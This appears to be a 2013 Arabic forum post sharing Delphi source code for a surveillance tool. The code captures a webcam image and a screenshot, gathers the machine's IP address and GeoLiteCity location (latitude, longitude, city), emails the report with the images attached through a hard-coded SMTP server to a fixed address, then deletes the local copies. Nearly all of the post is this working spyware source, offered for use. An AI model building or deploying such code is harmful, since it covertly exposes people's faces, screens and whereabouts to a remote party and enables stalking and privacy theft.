17-05-2013, 05:22 PM
السلام عليكم
تم اضافة الكثير
اضافة ارسال التقرير اما عبر الامايل او HTTP
اضافة GeoLiteCity لايجاد خطوط الطول والعرض ومعلومات اخرى
اضافة ايجاد ip باساخدام wmi
السورس
الارسال
مكون الرسال ترسل ملفين فقط متعمد
اما ايجاد المعلومات
الصور
![[صورة: 20130517165953.jpg]](http://img600.imageshack.us/img600/8703/20130517165953.jpg)
الامايل
تم اضافة الكثير
اضافة ارسال التقرير اما عبر الامايل او HTTP
اضافة GeoLiteCity لايجاد خطوط الطول والعرض ومعلومات اخرى
اضافة ايجاد ip باساخدام wmi
السورس
PHP كود :
procedure TForm1.sButton1Click(Sender: TObject);
var filename1,filename2:string;
begin
try
welcom.Visible:=True;
welcom.SetFocus;
if sCheckBox1.Checked then
begin
welcom.Caption:='Uploading...';
filename1:=titleimg('cam_');
filename2:=titleimg('desc_') ;
ConnectWebcam(0);
CaptureWebcam('tmp');
Bmp2Jpeg('tmp',filename1);
ScreenToFile(filename2,50, 100);
if SendMessage(filename1,filename2)then
begin
DeleteFile(filename1);
DeleteFile(filename2);
welcom.Caption:='Send OK.';
end;
Exit;
end;
PHP كود :
function TForm1.SendMessage(_file1, _file2: string): Boolean;
begin
mail1.UserName:=sEdit1.Text ;
mail1.Password:=sEdit2.Text ;
mail1.Mailto:='user@*****.com' ;
mail1.Subject:='Geo Lite City';
mail1.FromEmail :='user@*****.com';
mail1.body:= GeoDZ(GetListIP[0]).text+'IP Address: '+GetListIP[0] ;
mail1.Attachment1:= cdir+_file1;mail1.Attachment2:=cdir+_file2;
if mail1.SendMail then Result:=True;
end;
PHP كود :
unit mail;
interface
uses
ComObj,Classes,Windows;
const
{$IFDEF NODEF}{$REGION 'Documentation'}{$ENDIF}
_Version = '0.1';
_Host = 'smtp.*****.com';
_Port = 465;
_CopyRigth = 'Copyright 2013 © All Rights Reserved to onexite';
{$IFDEF NODEF}{$ENDREGION}{$ENDIF}
type
Tmail = class(TComponent)
private
FPort : integer;
FLogin : string;
FPassword : string;
FEmail : string;
FBody : string;
FHost : string;
FSubject : string;
Fto : string;
FAttachment1: string;
FAttachment2: string;
FCopyRigth : string;
Factive : Boolean;
public
constructor Create(AOwner: TComponent);override;
destructor Destroy;override;
function SendMail(): Boolean;
protected
function GetActive: Boolean; virtual;
procedure SetActive(const Value: Boolean); virtual;
published
property UserName: string read FLogin write FLogin;
property Mailto: string read fto write Fto;
property Subject:string Read FSubject write FSubject;
property Password: string read FPassword write FPassword;
property Host: string read FHost write FHost;
property FromEmail: string read FEmail write FEmail;
property body: string read FBody write FBody;
property Port: integer read FPort write FPort;
property Attachment1: string read FAttachment1 write FAttachment1;
property Attachment2: string read FAttachment2 write FAttachment2;
property CopyRigth :string read FCopyRigth;
property Test: Boolean read GetActive write SetActive default False;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Mail-DZ',[Tmail]);
end;
constructor Tmail.Create(AOwner: TComponent);
begin
inherited;
FHost :=_Host;
FPort :=_Port;
//active :=False;
fCopyRigth :=_CopyRigth
end;
destructor Tmail.Destroy;
begin
inherited;
SetActive(False);
end;
function Tmail.SendMail(): Boolean;
const
_Cdo='http://schemas.microsoft.com/cdo/configuration/';
var
_Message:OleVariant;
_Config: OleVariant;
begin
//_Config Object
_Message:= CreateOleObject('CDO.Message');
_Config:= CreateOleObject('CDO.Configuration');
//
try
_Config.Fields(_Cdo+'sendusername'):= UserName;
_Config.Fields(_Cdo+'sendpassword'):= Password;
_Config.Fields(_Cdo+'sendusing'):= 2;
_Config.Fields(_Cdo+'smtpserver'):= Host;
_Config.Fields(_Cdo+'smtpserverport'):=Port;
_Config.Fields(_Cdo+'smtpconnectiontimeout'):= 60;
_Config.Fields(_Cdo+'smtpauthenticate'):= 1;
// _Config.Fields(_Cdo+'urlgetlatestversion'):= ;
_Config.Fields(_Cdo+'smtpusessl'):= True; // use SSL
_Config.Fields.Update;
_Message.Configuration:= _Config;
_Message.To := Mailto;
_Message.From :=FromEmail;
_Message.Subject := Subject;
if Attachment1 <> '' then
_Message.AddAttachment(Attachment1);
if Attachment2 <> '' then
_Message.AddAttachment(Attachment2);
//_Message.HTMLBody := Body; //to send in Html format
// _Message.CreateMHTMLBody('http://www.google.com'); //to send site
_Message.TextBody := Body;
try
_Message.Send;
Result:=True;
Except// on err:Exception do
Result:=False;//err.Message;
end;
finally
VarClear(_Message);
VarClear(_Config);
end;
end;
function Tmail.GetActive: Boolean;
begin
Result:=False;
end;
procedure Tmail.SetActive(const Value: Boolean);
begin
if Value then begin
if SendMail then begin
SetActive(False);
MessageBox(0,'Please Check Your Mailbox!!!', 'IMPORTANT', MB_OK);
end else MessageBox(0,'Message not sent!', 'Error', MB_OK);
end
else
Exit;
end;
end.
PHP كود :
function GetListIP: TStringList;
function GeoDZ(ip:string):TStringList;
implementation
function GetListIP: TStringList;
var
FSWbemLocator : OLEVariant;
FWMIService : OLEVariant;
FWbemObjectSet: OLEVariant;
FWbemObject : OLEVariant;
oEnum : IEnumvariant;
iValue,i : LongWord;
begin;
try
// by
CoInitialize(nil);
Result:=TStringList.Create;
FSWbemLocator := CreateOleObject('WbemScripting.SWbemLocator');
FWMIService := FSWbemLocator.ConnectServer('localhost', 'root\CIMV2', '', '');
FWbemObjectSet:= FWMIService.ExecQuery('SELECT IPAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True','WQL',$00000020);
oEnum := IUnknown(FWbemObjectSet._NewEnum) as IEnumVariant;
while oEnum.Next(1, FWbemObject, iValue) = 0 do
begin
begin
if not VarIsClear(FWbemObject.IPAddress) then
for i := VarArrayLowBound(FWbemObject.IPAddress, 1) to VarArrayHighBound(FWbemObject.IPAddress, 1) do
Result.Add(String(FWbemObject.IPAddress[i]));
FWbemObject:=Unassigned;
end;
end;
finally
CoUninitialize;
end;
end;
function GeoDZ(ip:string):TStringList;
var
GeoIP: TGeoIP;
GeoIPCity: TGeoIPCity ;
begin
GeoIP := TGeoIP.Create('GeoLiteCity.dat');
Result:=TStringList.Create;
try
with Result do begin
if GeoIP.GetCity(ip, GeoIPCity) = GEOIP_SUCCESS then begin
Add('Latitude: '+ FloatToStr(GeoIPCity.Latitude)) ;
Add('Longitude: '+ FloatToStr(GeoIPCity.Longitude));
Add('DmaCode: '+ FloatToStr(GeoIPCity.DmaCode)) ;
Add('AreaCode :'+ FloatToStr(GeoIPCity.AreaCode)) ;
Add('CountryCode :'+ GeoIPCity.CountryCode);
Add('CountryName :'+ GeoIPCity.CountryName);
Add('Region :'+ GeoIPCity.Region);
Add('City :'+ GeoIPCity.City);
Add('PostalCode :'+ GeoIPCity.PostalCode);
end
else
Result.Add('ERROR');
end;
finally
GeoIP.Free;
end;
end;
end.
![[صورة: 20130517165953.jpg]](http://img600.imageshack.us/img600/8703/20130517165953.jpg)
الامايل

